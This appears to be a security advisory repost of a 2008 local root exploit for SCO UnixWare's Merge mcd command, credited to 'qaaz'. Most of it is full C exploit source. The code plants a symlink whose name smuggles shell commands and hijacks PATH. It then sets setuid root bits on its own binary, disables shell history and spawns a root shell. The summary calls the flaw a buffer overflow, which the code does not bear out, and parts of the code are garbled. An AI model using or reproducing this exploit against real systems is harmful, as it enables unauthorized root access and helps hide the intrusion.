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SCO UnixWare Merge mcd Local Root (Exploit)

SUMMARY

A vulnerability in SCO UnixWare's Merge mcd command allows local attackers
to gain elevated privileges by overflowing an internal buffer used by the
program.

DETAILS

Exploit:
/* 04/2008: public release

• I have'nt seen any advisory on this; possibly still not fixed.
• SCO UnixWare Merge mcd Local Root Exploit
• By qaaz
  */
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #include <errno.h>
  #include <sys/stat.h>

#define TARGET "/usr/lib/merge/mcd"
#define DIR "/proc/%d/object", getpid()
#define BIN "a.out"
#define LNK "hrc;" BIN ";prc"
#define DEV "/dev/cdrom/cdrom1"

int main(int argc, char *argv[])
{
char dir[4096], bin[4096];
char dev[4096], env[4096];
pid_t child;
struct stat st;

if (geteuid() == 0) {
setuid(geteuid());
setgid(getegid());
if (strstr(argv[0], BIN)) {
umask(0);
chown(BIN, 0, 3);
chmod(BIN, 06777);
kill(getppid(), 15);
return 0;
}
putenv("HISTFILE=/dev/null");
execl("/bin/sh", "sh", "-i", NULL);
printf("[-] sh: %s\n", strerror(errno));
return 1;
}

printf("---------------------------------------\n");
printf(" UnixWare Merge mcd Local Root Exploit\n");
printf(" By qaaz\n");
printf("---------------------------------------\n");

if (access(TARGET, EX_OK) < 0) {
printf("[-] %s: %s\n", TARGET, strerror(errno));
return 1;
}

if (symlink(DEV, LNK) < 0) {
printf("[-] %s: %s\n", LNK, strerror(errno));
return 1;
}

sprintf(dir, DIR);
sprintf(bin, "%s/%s", dir, BIN);

snprintf(dev, sizeof(dev), "/dev/cdrom/…/…/%s/%s", getcwd(NULL, 4096),
LNK);
snprintf(env, sizeof(env), "PATH=.:%s", getenv("PATH"));

if ((child = fork()) == 0) {
chdir(dir);
putenv(env);
execl(TARGET, TARGET, "-u", "-d", dev, NULL);
printf("[-] %s: %s\n", TARGET, strerror(errno));
return 1;
} /else if (child != -1)
waitpid(child, NULL, 0);/

printf("[*] Waiting for privs…\n");
while (stat(bin, &st) == 0) {
if ((st.st_mode & 06777) == 06777) {
printf("[+] Enjoy\n");
unlink(LNK);
execl(bin, "woot", NULL);
printf("[-] %s: %s\n", bin, strerror(errno));
return 1;
}
sleep(1);
}
printf("[-] %s: %s\n", bin, strerror(errno));
unlink(LNK);
return 0;
}

// milw0rm.com [2008-04-04]

ADDITIONAL INFORMATION

The information has been provided by qaaz.
The original article can be found at:
<http://www.milw0rm.com/exploits/5357&gt;
http://www.milw0rm.com/exploits/5357

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